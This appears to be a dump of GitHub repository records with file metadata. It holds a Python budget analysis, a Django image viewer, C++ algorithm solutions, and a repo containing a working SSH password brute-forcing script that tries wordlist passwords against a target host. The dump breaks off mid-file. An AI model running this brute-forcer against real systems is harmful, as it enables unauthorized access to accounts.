prevRow = int(row[1])\\n \\n #Format to currency\\n total = \\\"${:.0f}\\\".format(total)\\n aveChange = \\\"${:.2f}\\\".format(int(changeCnt/(length-1)))\\n greatInc = \\\"${:.0f}\\\".format(greatInc)\\n greatDec = \\\"${:.0f}\\\".format(greatDec)\\n\\n #Print to terminal\\n print(\\\"\\\\nFinancial Analysis\\\\n----------------------------\\\")\\n print(f\\\"Total Months: {length}\\\")\\n print(f\\\"Total: {total}\\\")\\n print(f\\\"Average Change: {aveChange}\\\")\\n print(f\\\"Greatest Increase in Profits: {greatIncMonth} ({greatInc})\\\")\\n print(f\\\"Greatest Decrease in Profits: {greatDecMonth} ({greatDec})\\\")\\n\\n\\nindex = [\\\"Total Months\\\",\\\"Total\\\",\\\"Average Change\\\", \\\"Greatest Increase in Profits\\\",\\\"Greatest Decrease in Profits\\\"]\\nvar = [length,total,aveChange,greatInc,greatDec]\\nmont = [\\\"\\\",\\\"\\\",\\\"\\\",greatIncMonth,greatDecMonth]\\n\\nrows = zip(index, var, mont)\\n\\noutput_path = os.path.join(\\\"analysis\\\", \\\"results.csv\\\")\\n\\n# Open the file using \\\"write\\\" mode. Specify the variable to hold the contents\\nwith open(output_path, 'w') as csvfile:\\n\\n # Initialize csv.writer\\n csvwriter = csv.writer(csvfile, delimiter=',')\\n\\n # Write the first row (column headers)\\n csvwriter.writerow([\\\"Financial Analysis\\\", \\\"QTY\\\", \\\"Month\\\"])\\n\\n #Write the second row\\n for w in range(5):\\n csvwriter.writerows(rows)\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.7714460492134094,\n \"alphanum_fraction\": 0.7714460492134094,\n \"avg_line_length\": 57.32143020629883,\n \"blob_id\": \"17613443257da9e3d1698ec419e88a66feddff35\",\n \"content_id\": \"b64a5b75539cc5216f0c0d54ec45a7aa18a1aca8\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 1632,\n \"license_type\": \"no_license\",\n \"max_line_length\": 246,\n \"num_lines\": 28,\n \"path\": \"/README.md\",\n \"repo_name\": \"simoncastellanos9/python-challenge\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# python-challenge\\nFinancial Record & Voter Analysis\\n\\nPyBank\\n\\n- This python script analyzes the financial records of my company. We are given a set of financial data called budget_data.csv. The dataset is composed of two columns: `Date` and `Profit/Losses`. This script calculates and displays the following:\\n - The total number of months included in the dataset\\n - The net total amount of \\\"Profit/Losses\\\" over the entire period\\n - The average of the changes in \\\"Profit/Losses\\\" over the entire period\\n - The greatest increase in profits (date and amount) over the entire period\\n - The greatest decrease in losses (date and amount) over the entire period\\n\\n- In addition, the script both prints the analysis to the terminal and export a text file with the results.\\n\\nPyPoll\\n\\n- For this challenge, we were tasked with helping a small, rural town modernize its vote counting process.\\n\\n- We were given a set of poll data called election_data.csv. The dataset is composed of three columns: `Voter ID`, `County`, and `Candidate`. Our task was to create a Python script that analyzed the votes and calculated each of the following:\\n - The total number of votes casted\\n - A complete list of candidates who received votes\\n - The percentage of votes each candidate won\\n - The total number of votes each candidate won\\n - The winner of the election based on popular vote.\\n \\n- In addition, the final script both prints the analysis to the terminal and exports a text file with the results.\\n\\n **The election_data.csv file given was too big to upload into the github repository. Had to use gitignore so that the code could still run.\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":3,"string":"3"}}},{"rowIdx":2978381,"cells":{"repo_name":{"kind":"string","value":"illbelove/testrepo"},"repo_url":{"kind":"string","value":"https://github.com/illbelove/testrepo"},"snapshot_id":{"kind":"string","value":"73c4842a7faf7fe800131bc21e556088a5b99b8e"},"revision_id":{"kind":"string","value":"f36438c050054f7f0ceac0727e57c9e091dd1b3b"},"directory_id":{"kind":"string","value":"72c030d321bd4a584e190d8879363bd209db44e9"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2022-12-28T13:37:15.488127","string":"2022-12-28T13:37:15.488127"},"revision_date":{"kind":"timestamp","value":"2020-10-18T03:22:45","string":"2020-10-18T03:22:45"},"committer_date":{"kind":"timestamp","value":"2020-10-18T03:22:45","string":"2020-10-18T03:22:45"},"github_id":{"kind":"number","value":304928362,"string":"304,928,362"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"timestamp","value":"2020-10-17T17:07:26","string":"2020-10-17T17:07:26"},"gha_updated_at":{"kind":"timestamp","value":"2020-10-18T03:01:32","string":"2020-10-18T03:01:32"},"gha_pushed_at":{"kind":"timestamp","value":"2020-10-18T03:22:46","string":"2020-10-18T03:22:46"},"gha_language":{"kind":"string","value":"Python"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7333333492279053,"alphanum_fraction":0.7333333492279053,"avg_line_length":21.5,"blob_id":"2387e9b7ee4963f175fd2fbb8375c27ac1db0e0f","content_id":"3b8f767186405aea38df02cf4e716f1dc961a5bd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":45,"license_type":"no_license","max_line_length":24,"num_lines":2,"path":"/firstpython.py","repo_name":"illbelove/testrepo","src_encoding":"UTF-8","text":"# display of output\nprint(\"New Python file\")\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7333333492279053,\n \"alphanum_fraction\": 0.7333333492279053,\n \"avg_line_length\": 21.5,\n \"blob_id\": \"2387e9b7ee4963f175fd2fbb8375c27ac1db0e0f\",\n \"content_id\": \"3b8f767186405aea38df02cf4e716f1dc961a5bd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 45,\n \"license_type\": \"no_license\",\n \"max_line_length\": 24,\n \"num_lines\": 2,\n \"path\": \"/firstpython.py\",\n \"repo_name\": \"illbelove/testrepo\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# display of output\\nprint(\\\"New Python file\\\")\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":1,"string":"1"}}},{"rowIdx":2978382,"cells":{"repo_name":{"kind":"string","value":"FelipeLeal/django_images"},"repo_url":{"kind":"string","value":"https://github.com/FelipeLeal/django_images"},"snapshot_id":{"kind":"string","value":"ba372307df82b3d1959c38b9f39e0a01357be021"},"revision_id":{"kind":"string","value":"58b5c01bd2733283775e74b84b9f0b0365f2a900"},"directory_id":{"kind":"string","value":"b47fdabe99335e2ad1b1d6f99b51f54133581f58"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-09-24T16:42:14.067073","string":"2021-09-24T16:42:14.067073"},"revision_date":{"kind":"timestamp","value":"2020-04-12T04:50:19","string":"2020-04-12T04:50:19"},"committer_date":{"kind":"timestamp","value":"2020-04-12T04:50:19","string":"2020-04-12T04:50:19"},"github_id":{"kind":"number","value":245237592,"string":"245,237,592"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"timestamp","value":"2020-03-05T18:22:47","string":"2020-03-05T18:22:47"},"gha_updated_at":{"kind":"timestamp","value":"2020-04-12T04:50:46","string":"2020-04-12T04:50:46"},"gha_pushed_at":{"kind":"timestamp","value":"2021-09-22T18:52:11","string":"2021-09-22T18:52:11"},"gha_language":{"kind":"string","value":"Python"},"files":{"kind":"list like","value":[{"alpha_fraction":0.7058823704719543,"alphanum_fraction":0.7058823704719543,"avg_line_length":22.272727966308594,"blob_id":"17d1581e4dae51d8bb1cf8755ebdf9aa7b8bee6f","content_id":"6a3521b542a2ab5997704843f699b070a00679df","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":255,"license_type":"no_license","max_line_length":63,"num_lines":11,"path":"/viewer/admin.py","repo_name":"FelipeLeal/django_images","src_encoding":"UTF-8","text":"from django.contrib import admin\nfrom .models import Photo\n\nclass AdminPhoto(admin.ModelAdmin):\n list_display = ['nickname', 'petname', 'image url', 'rank']\n\n class Meta:\n model = Photo\n\n# Register your models here.\nadmin.site.register(Photo)"},{"alpha_fraction":0.6424078941345215,"alphanum_fraction":0.6424078941345215,"avg_line_length":33.78125,"blob_id":"57159f256550f4960751c2114df7efb333f9f4b0","content_id":"a8312c2baf29562a4d3ee6efe9cf12c8ece1152a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1113,"license_type":"no_license","max_line_length":77,"num_lines":32,"path":"/viewer/views.py","repo_name":"FelipeLeal/django_images","src_encoding":"UTF-8","text":"from django.shortcuts import render, redirect\nfrom django.core.files.storage import FileSystemStorage\nfrom .forms import PhotoForm\nfrom .models import Photo\n\n# Create your views here.\n\ndef home(request):\n images = Photo.objects.all()\n return render(request, 'index.html', {'title': 'home' ,'images': images})\n\ndef simple_upload(request):\n # TODO: Make a form to catch values to insert on database\n if request.method == 'POST' and request.FILES['myfile']:\n my_file = request.FILES['myfile']\n fs = FileSystemStorage()\n filename = fs.save(my_file.name, my_file)\n uploaded_file_url = fs.url(filename)\n return render(request, 'upload.html', {\n 'uploaded_file_url': uploaded_file_url\n })\n return render(request, 'upload.html', {'title': 'Upload'})\n\ndef model_form_upload(request):\n if request.method == 'POST':\n form = PhotoForm(request.POST, request.FILES)\n if form.is_valid():\n form.save()\n return redirect('home')\n else:\n form = PhotoForm()\n return render(request, 'upload.html', {'form': form})\n"},{"alpha_fraction":0.6631578803062439,"alphanum_fraction":0.6631578803062439,"avg_line_length":26.285715103149414,"blob_id":"816ada0077fa03fab82d00db2b3c256e88a3ec72","content_id":"15d75c28c2d45a8a7998fca02bec83dc885e1a3a","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":190,"license_type":"no_license","max_line_length":60,"num_lines":7,"path":"/viewer/forms.py","repo_name":"FelipeLeal/django_images","src_encoding":"UTF-8","text":"from django import forms\nfrom viewer.models import Photo\n\nclass PhotoForm(forms.ModelForm):\n class Meta:\n model = Photo\n fields = ('nickname', 'pet_name', 'img_dir', 'rank')"},{"alpha_fraction":0.6836363673210144,"alphanum_fraction":0.7054545283317566,"avg_line_length":33.25,"blob_id":"e2180849418d7bb148275851e5ab5371d82d813a","content_id":"351ca85bf7c732274b75f2a5e08ff8cb126a0cfe","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":275,"license_type":"no_license","max_line_length":62,"num_lines":8,"path":"/viewer/models.py","repo_name":"FelipeLeal/django_images","src_encoding":"UTF-8","text":"from django.db import models\n\n# Create your models here.\nclass Photo(models.Model):\n nickname = models.CharField(max_length=255)\n pet_name = models.CharField(max_length=255)\n img_dir = models.ImageField(upload_to='uploads/%Y/%m/%d/')\n rank = models.FloatField()\n\n"},{"alpha_fraction":0.7209302186965942,"alphanum_fraction":0.7906976938247681,"avg_line_length":13.333333015441895,"blob_id":"4b1a9c94a7235f9a5f0c9ab2491d137339d6fa06","content_id":"afdf98eb4cd8fcec16b5df40aec1dde5083a3397","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Text","length_bytes":43,"license_type":"no_license","max_line_length":21,"num_lines":3,"path":"/requirements.txt","repo_name":"FelipeLeal/django_images","src_encoding":"UTF-8","text":"Django==3.0.3\nPillow\ndjango-webpack-loader\n"},{"alpha_fraction":0.7054263353347778,"alphanum_fraction":0.7054263353347778,"avg_line_length":20.66666603088379,"blob_id":"78f218aa01d911b426c45df7c09021e78f50e8be","content_id":"4d547737fe588c02777d74d5bbce02e78ee53a9d","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":129,"license_type":"no_license","max_line_length":60,"num_lines":6,"path":"/README.MD","repo_name":"FelipeLeal/django_images","src_encoding":"UTF-8","text":"# Image viewer Django\n\nImage viewer with [Django](https://pypi.org/project/Django/)\n\n## Tools\n* [docker](https://www.docker.com/)"}],"string":"[\n {\n \"alpha_fraction\": 0.7058823704719543,\n \"alphanum_fraction\": 0.7058823704719543,\n \"avg_line_length\": 22.272727966308594,\n \"blob_id\": \"17d1581e4dae51d8bb1cf8755ebdf9aa7b8bee6f\",\n \"content_id\": \"6a3521b542a2ab5997704843f699b070a00679df\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 255,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 11,\n \"path\": \"/viewer/admin.py\",\n \"repo_name\": \"FelipeLeal/django_images\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.contrib import admin\\nfrom .models import Photo\\n\\nclass AdminPhoto(admin.ModelAdmin):\\n list_display = ['nickname', 'petname', 'image url', 'rank']\\n\\n class Meta:\\n model = Photo\\n\\n# Register your models here.\\nadmin.site.register(Photo)\"\n },\n {\n \"alpha_fraction\": 0.6424078941345215,\n \"alphanum_fraction\": 0.6424078941345215,\n \"avg_line_length\": 33.78125,\n \"blob_id\": \"57159f256550f4960751c2114df7efb333f9f4b0\",\n \"content_id\": \"a8312c2baf29562a4d3ee6efe9cf12c8ece1152a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1113,\n \"license_type\": \"no_license\",\n \"max_line_length\": 77,\n \"num_lines\": 32,\n \"path\": \"/viewer/views.py\",\n \"repo_name\": \"FelipeLeal/django_images\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.shortcuts import render, redirect\\nfrom django.core.files.storage import FileSystemStorage\\nfrom .forms import PhotoForm\\nfrom .models import Photo\\n\\n# Create your views here.\\n\\ndef home(request):\\n images = Photo.objects.all()\\n return render(request, 'index.html', {'title': 'home' ,'images': images})\\n\\ndef simple_upload(request):\\n # TODO: Make a form to catch values to insert on database\\n if request.method == 'POST' and request.FILES['myfile']:\\n my_file = request.FILES['myfile']\\n fs = FileSystemStorage()\\n filename = fs.save(my_file.name, my_file)\\n uploaded_file_url = fs.url(filename)\\n return render(request, 'upload.html', {\\n 'uploaded_file_url': uploaded_file_url\\n })\\n return render(request, 'upload.html', {'title': 'Upload'})\\n\\ndef model_form_upload(request):\\n if request.method == 'POST':\\n form = PhotoForm(request.POST, request.FILES)\\n if form.is_valid():\\n form.save()\\n return redirect('home')\\n else:\\n form = PhotoForm()\\n return render(request, 'upload.html', {'form': form})\\n\"\n },\n {\n \"alpha_fraction\": 0.6631578803062439,\n \"alphanum_fraction\": 0.6631578803062439,\n \"avg_line_length\": 26.285715103149414,\n \"blob_id\": \"816ada0077fa03fab82d00db2b3c256e88a3ec72\",\n \"content_id\": \"15d75c28c2d45a8a7998fca02bec83dc885e1a3a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 190,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 7,\n \"path\": \"/viewer/forms.py\",\n \"repo_name\": \"FelipeLeal/django_images\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django import forms\\nfrom viewer.models import Photo\\n\\nclass PhotoForm(forms.ModelForm):\\n class Meta:\\n model = Photo\\n fields = ('nickname', 'pet_name', 'img_dir', 'rank')\"\n },\n {\n \"alpha_fraction\": 0.6836363673210144,\n \"alphanum_fraction\": 0.7054545283317566,\n \"avg_line_length\": 33.25,\n \"blob_id\": \"e2180849418d7bb148275851e5ab5371d82d813a\",\n \"content_id\": \"351ca85bf7c732274b75f2a5e08ff8cb126a0cfe\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 275,\n \"license_type\": \"no_license\",\n \"max_line_length\": 62,\n \"num_lines\": 8,\n \"path\": \"/viewer/models.py\",\n \"repo_name\": \"FelipeLeal/django_images\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.db import models\\n\\n# Create your models here.\\nclass Photo(models.Model):\\n nickname = models.CharField(max_length=255)\\n pet_name = models.CharField(max_length=255)\\n img_dir = models.ImageField(upload_to='uploads/%Y/%m/%d/')\\n rank = models.FloatField()\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.7209302186965942,\n \"alphanum_fraction\": 0.7906976938247681,\n \"avg_line_length\": 13.333333015441895,\n \"blob_id\": \"4b1a9c94a7235f9a5f0c9ab2491d137339d6fa06\",\n \"content_id\": \"afdf98eb4cd8fcec16b5df40aec1dde5083a3397\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Text\",\n \"length_bytes\": 43,\n \"license_type\": \"no_license\",\n \"max_line_length\": 21,\n \"num_lines\": 3,\n \"path\": \"/requirements.txt\",\n \"repo_name\": \"FelipeLeal/django_images\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"Django==3.0.3\\nPillow\\ndjango-webpack-loader\\n\"\n },\n {\n \"alpha_fraction\": 0.7054263353347778,\n \"alphanum_fraction\": 0.7054263353347778,\n \"avg_line_length\": 20.66666603088379,\n \"blob_id\": \"78f218aa01d911b426c45df7c09021e78f50e8be\",\n \"content_id\": \"4d547737fe588c02777d74d5bbce02e78ee53a9d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 129,\n \"license_type\": \"no_license\",\n \"max_line_length\": 60,\n \"num_lines\": 6,\n \"path\": \"/README.MD\",\n \"repo_name\": \"FelipeLeal/django_images\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Image viewer Django\\n\\nImage viewer with [Django](https://pypi.org/project/Django/)\\n\\n## Tools\\n* [docker](https://www.docker.com/)\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":6,"string":"6"}}},{"rowIdx":2978383,"cells":{"repo_name":{"kind":"string","value":"prathamshiwal/SSH-Bruteforcer"},"repo_url":{"kind":"string","value":"https://github.com/prathamshiwal/SSH-Bruteforcer"},"snapshot_id":{"kind":"string","value":"fe522c941e72b14cb31f6e722258bd40a9d9ed00"},"revision_id":{"kind":"string","value":"45b587977cbb490e1f6c3656a5b245f646fba701"},"directory_id":{"kind":"string","value":"f38d53c6da55636fc91b6045c15b09d1ae602d10"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2023-04-23T15:12:07.150906","string":"2023-04-23T15:12:07.150906"},"revision_date":{"kind":"timestamp","value":"2021-05-16T16:20:22","string":"2021-05-16T16:20:22"},"committer_date":{"kind":"timestamp","value":"2021-05-16T16:20:22","string":"2021-05-16T16:20:22"},"github_id":{"kind":"number","value":367926608,"string":"367,926,608"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.8125,"alphanum_fraction":0.8125,"avg_line_length":107.80000305175781,"blob_id":"9de9ed7ecbeee023192cb64f4c5fe78b0540d25c","content_id":"ce9f6aaf18f507781e1f4a2cf29f9adeab1dcabd","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Markdown","length_bytes":544,"license_type":"no_license","max_line_length":257,"num_lines":5,"path":"/README.md","repo_name":"prathamshiwal/SSH-Bruteforcer","src_encoding":"UTF-8","text":"# SSH-Bruteforcer\n\nThis is basic SSH bruteforcing tool. There are two scripts which are different in terms of there working speed. the script sshbruteforcer-slow.py works slow and sshbruteforcer.py works fater because it uses threading to attempt passwords on the SSH service.\nThese Scripts require a Taget IP on which the SSH service is running and also needs the name of the user for that particular IP Address.\nA Password file (e.g. basicpassfile.txt, longpassfile.txt) is also needed to bruteforce the SSH service with different passwords.\n"},{"alpha_fraction":0.5701133012771606,"alphanum_fraction":0.5764872431755066,"avg_line_length":31.06818199157715,"blob_id":"1f4de811f6c8be4127370826769c29fe16d9bd4b","content_id":"cf780630cf61979b5ed98be12cc1b321175faf6e","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1412,"license_type":"no_license","max_line_length":143,"num_lines":44,"path":"/sshbruteforcer-slow.py","repo_name":"prathamshiwal/SSH-Bruteforcer","src_encoding":"UTF-8","text":"import paramiko, sys, os, socket, termcolor\n\n\ndef ssh_connect(password, code=0):\n ssh = paramiko.SSHClient()\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n\n try:\n ssh.connect(host, port=22, username=username, password=password)\n except paramiko.AuthenticationException:\n code = 1\n except socket.error as e:\n code = 2\n\n ssh.close()\n return code\n\n\nhost = input(termcolor.colored('[+] Target Address: ', 'blue'))\nusername = input(termcolor.colored('[+] SSH Username: ', 'blue'))\npass_file = input(termcolor.colored('[+] Password File/Path: ', 'blue'))\n\nif os.path.exists(pass_file) == False:\n print(termcolor.colored('[!!] File/Path Does Not Exist.', 'yellow'))\n sys.exit(1)\n\nwith open(pass_file, 'r') as file:\n for line in file.readlines():\n password = line.strip()\n try:\n response = ssh_connect(password)\n \n if response == 0:\n print(termcolor.colored('[+] Found Password: ', 'green') + password + termcolor.colored(' , For Account ', 'green') + username)\n break\n elif response == 1:\n print(termcolor.colored('[-] Incorrect Login: ', 'red') + password)\n else:\n print(termcolor.colored((\"[!!] Can't Connect\"), 'orange'))\n sys.exit(1)\n\n except Exception as e:\n print(e)\n pass\n\n"}],"string":"[\n {\n \"alpha_fraction\": 0.8125,\n \"alphanum_fraction\": 0.8125,\n \"avg_line_length\": 107.80000305175781,\n \"blob_id\": \"9de9ed7ecbeee023192cb64f4c5fe78b0540d25c\",\n \"content_id\": \"ce9f6aaf18f507781e1f4a2cf29f9adeab1dcabd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 544,\n \"license_type\": \"no_license\",\n \"max_line_length\": 257,\n \"num_lines\": 5,\n \"path\": \"/README.md\",\n \"repo_name\": \"prathamshiwal/SSH-Bruteforcer\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# SSH-Bruteforcer\\n\\nThis is basic SSH bruteforcing tool. There are two scripts which are different in terms of there working speed. the script sshbruteforcer-slow.py works slow and sshbruteforcer.py works fater because it uses threading to attempt passwords on the SSH service.\\nThese Scripts require a Taget IP on which the SSH service is running and also needs the name of the user for that particular IP Address.\\nA Password file (e.g. basicpassfile.txt, longpassfile.txt) is also needed to bruteforce the SSH service with different passwords.\\n\"\n },\n {\n \"alpha_fraction\": 0.5701133012771606,\n \"alphanum_fraction\": 0.5764872431755066,\n \"avg_line_length\": 31.06818199157715,\n \"blob_id\": \"1f4de811f6c8be4127370826769c29fe16d9bd4b\",\n \"content_id\": \"cf780630cf61979b5ed98be12cc1b321175faf6e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1412,\n \"license_type\": \"no_license\",\n \"max_line_length\": 143,\n \"num_lines\": 44,\n \"path\": \"/sshbruteforcer-slow.py\",\n \"repo_name\": \"prathamshiwal/SSH-Bruteforcer\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import paramiko, sys, os, socket, termcolor\\n\\n\\ndef ssh_connect(password, code=0):\\n ssh = paramiko.SSHClient()\\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\\n\\n try:\\n ssh.connect(host, port=22, username=username, password=password)\\n except paramiko.AuthenticationException:\\n code = 1\\n except socket.error as e:\\n code = 2\\n\\n ssh.close()\\n return code\\n\\n\\nhost = input(termcolor.colored('[+] Target Address: ', 'blue'))\\nusername = input(termcolor.colored('[+] SSH Username: ', 'blue'))\\npass_file = input(termcolor.colored('[+] Password File/Path: ', 'blue'))\\n\\nif os.path.exists(pass_file) == False:\\n print(termcolor.colored('[!!] File/Path Does Not Exist.', 'yellow'))\\n sys.exit(1)\\n\\nwith open(pass_file, 'r') as file:\\n for line in file.readlines():\\n password = line.strip()\\n try:\\n response = ssh_connect(password)\\n \\n if response == 0:\\n print(termcolor.colored('[+] Found Password: ', 'green') + password + termcolor.colored(' , For Account ', 'green') + username)\\n break\\n elif response == 1:\\n print(termcolor.colored('[-] Incorrect Login: ', 'red') + password)\\n else:\\n print(termcolor.colored((\\\"[!!] Can't Connect\\\"), 'orange'))\\n sys.exit(1)\\n\\n except Exception as e:\\n print(e)\\n pass\\n\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":2,"string":"2"}}},{"rowIdx":2978384,"cells":{"repo_name":{"kind":"string","value":"yegyeom/Algorithm"},"repo_url":{"kind":"string","value":"https://github.com/yegyeom/Algorithm"},"snapshot_id":{"kind":"string","value":"ae0aef2d0c2275dd6d8ad4d1584c7d7a872e35bb"},"revision_id":{"kind":"string","value":"32e8ac4098b8e541bdf060c29bd673c13bbb8a1f"},"directory_id":{"kind":"string","value":"6fa3663cb3e73ebbbaeff1b984b450fb97f6312e"},"branch_name":{"kind":"string","value":"refs/heads/main"},"visit_date":{"kind":"timestamp","value":"2023-07-01T23:48:38.359556","string":"2023-07-01T23:48:38.359556"},"revision_date":{"kind":"timestamp","value":"2022-06-28T09:16:44","string":"2022-06-28T09:16:44"},"committer_date":{"kind":"timestamp","value":"2022-06-28T09:16:44","string":"2022-06-28T09:16:44"},"github_id":{"kind":"number","value":331221416,"string":"331,221,416"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.316546767950058,"alphanum_fraction":0.38309353590011597,"avg_line_length":15.878787994384766,"blob_id":"ebec607c7d6942d5e20b716930ff3a579d112d1a","content_id":"d9f0651a284c0090b76445a514f762bed3df9824","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":586,"license_type":"no_license","max_line_length":58,"num_lines":33,"path":"/BOJ/Brute Force/1065.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1065번: 한수\n2021-05-18\nBrute Force\n*/\n#include <iostream>\nusing namespace std;\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n int n, ans=0;\n cin >> n;\n\n for(int i = 1 ; i <= n ; i++){\n if(i < 100){\n ans++;\n continue;\n }\n else{\n int n1 = i % 10; // 일의 자리\n int n2 = (i / 10) % 10; // 십의 자리\n int n3 = i / 100; // 십의 자리\n\n if(n3 - n2 == n2 - n1){\n ans++;\n }\n }\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4126712381839752,"alphanum_fraction":0.45034247636795044,"avg_line_length":15.714285850524902,"blob_id":"08ecc5168ce2c50627601ace02824bbfc361f7a5","content_id":"3ba80cad7f3a7b88aa95e6c2f225e402be575fcc","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":598,"license_type":"no_license","max_line_length":58,"num_lines":35,"path":"/BOJ/Greedy/1715.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 1715번: 카드 정렬하기\nDATE: 2022-01-30\n*/\n#include <iostream>\n#include <queue>\nusing namespace std;\n\nint main() {\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n priority_queue<int, vector<int>, greater<int>> pq;\n int n, num, ans = 0;\n cin >> n;\n\n for(int i = 0 ; i < n ; i++) {\n cin >> num;\n pq.push(num);\n }\n\n while(pq.size() > 1) {\n int sum = 0;\n\n for(int i = 0 ; i < 2 ; i++) {\n sum += pq.top();\n pq.pop();\n }\n\n ans += sum;\n pq.push(sum);\n }\n\n cout << ans;\n\n return 0;\n}"},{"alpha_fraction":0.4514435827732086,"alphanum_fraction":0.4842519760131836,"avg_line_length":14.895833015441895,"blob_id":"119716bbe1c37e59fd0d4f8523473ab7c3dbd6ad","content_id":"e51878c919884a0fc3047a84ca6ba98cefca174b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":766,"license_type":"no_license","max_line_length":64,"num_lines":48,"path":"/BOJ/BFS_DFS/15649.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"/*\nBOJ 15649번: N과 M (1)\n2022-01-04\nBacktracking\n*/\n#include <iostream>\n#include <vector>\n#define MAX 8\nusing namespace std;\n\nint n, m;\nvector<int> num;\nvector<int> ans; \nbool visited[MAX]; \n\nvoid print(){\n for(int i = 0 ; i < ans.size() ; i++) cout << ans[i] << \" \";\n cout << '\\n';\n}\n\nvoid dfs(int cnt){\n if(cnt == m) {\n print();\n return;\n }\n\n for(int i = 0 ; i < n ; i++){\n if(visited[i]) continue;\n\n ans.push_back(num[i]);\n visited[i] = true;\n\n dfs(cnt + 1);\n \n ans.pop_back();\n visited[i] = false;\n }\n}\n\nint main(){\n ios_base::sync_with_stdio(0); cin.tie(0); cout.tie(0);\n cin >> n >> m;\n\n for(int i = 0 ; i < n ; i++) num.push_back(i + 1);\n dfs(0);\n\n return 0;\n}"},{"alpha_fraction":0.3942953050136566,"alphanum_fraction":0.4194630980491638,"avg_line_length":24.934782028198242,"blob_id":"a00c127308289c600769e6a188000fa3d3762efb","content_id":"11a17fbdd07e69a1ce8a11f94c96b6d7c3ee7421","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"C++","length_bytes":1232,"license_type":"no_license","max_line_length":60,"num_lines":46,"path":"/programmers/Level 1/number_strings_and_english_words.cpp","repo_name":"yegyeom/Algorithm","src_encoding":"UTF-8","text":"//programmers Level 1: 